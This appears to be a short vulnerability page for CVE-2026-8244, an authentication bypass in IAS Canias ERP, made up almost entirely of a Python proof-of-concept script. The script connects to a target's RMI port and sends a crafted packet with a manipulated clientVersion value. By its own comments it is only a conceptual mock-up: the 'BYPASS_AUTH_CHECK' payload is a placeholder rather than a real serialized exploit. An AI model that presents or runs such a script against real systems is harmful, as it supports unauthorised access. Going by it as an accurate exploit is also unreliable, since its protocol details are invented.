CVE-2026-8244 IAS Canias ERP认证不当漏洞

import socket import struct # Target configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 1099 # Default RMI port # CVE-2026-8244 PoC: IAS Canias ERP Improper Authentication # This script attempts to bypass authentication by manipulating the 'clientVersion' argument. def send_malicious_rmi_packet(host, port): """ Sends a crafted RMI packet to exploit the clientVersion validation bypass. Note: This is a conceptual demonstration. Actual RMI protocol implementation requires Java serialization and specific handshake mechanisms. """ try: print(f"[*] Connecting to {host}:{port}...") # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((host, port)) # In a real exploit, we would perform the RMI handshake (JRMP protocol) # and send a serialized object representing the call. # Here we simulate the payload containing the malicious 'clientVersion'. # Conceptual Payload: Login Request with bypassed clientVersion # Real payload would be a Java serialized object. payload_magic = b"\x4a\x52\x4d\x49" # JRMI Magic Header payload_version = b"\x00\x02" # Version payload_protocol = b"\x4b" # Stream Protocol # Simulate sending the malicious clientVersion argument # e.g., setting it to a value that forces the server to skip auth checks exploit_data = b"\x00\x00\x00\x01" # Arbitrary call data malicious_client_version = "BYPASS_AUTH_CHECK" # Combine headers and data (Simplified for PoC structure) full_packet = payload_magic + payload_version + payload_protocol + exploit_data + malicious_client_version.encode('utf-8') print(f"[*] Sending crafted packet with manipulated clientVersion: '{malicious_client_version}'...") s.send(full_packet) # Check for response response = s.recv(1024) if response: print(f"[+] Received response: {response}") print("[!] Potential vulnerability confirmed if response indicates successful login without creds.") else: print("[-] No response received.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-8244 Proof of Concept") send_malicious_rmi_packet(TARGET_HOST, TARGET_PORT)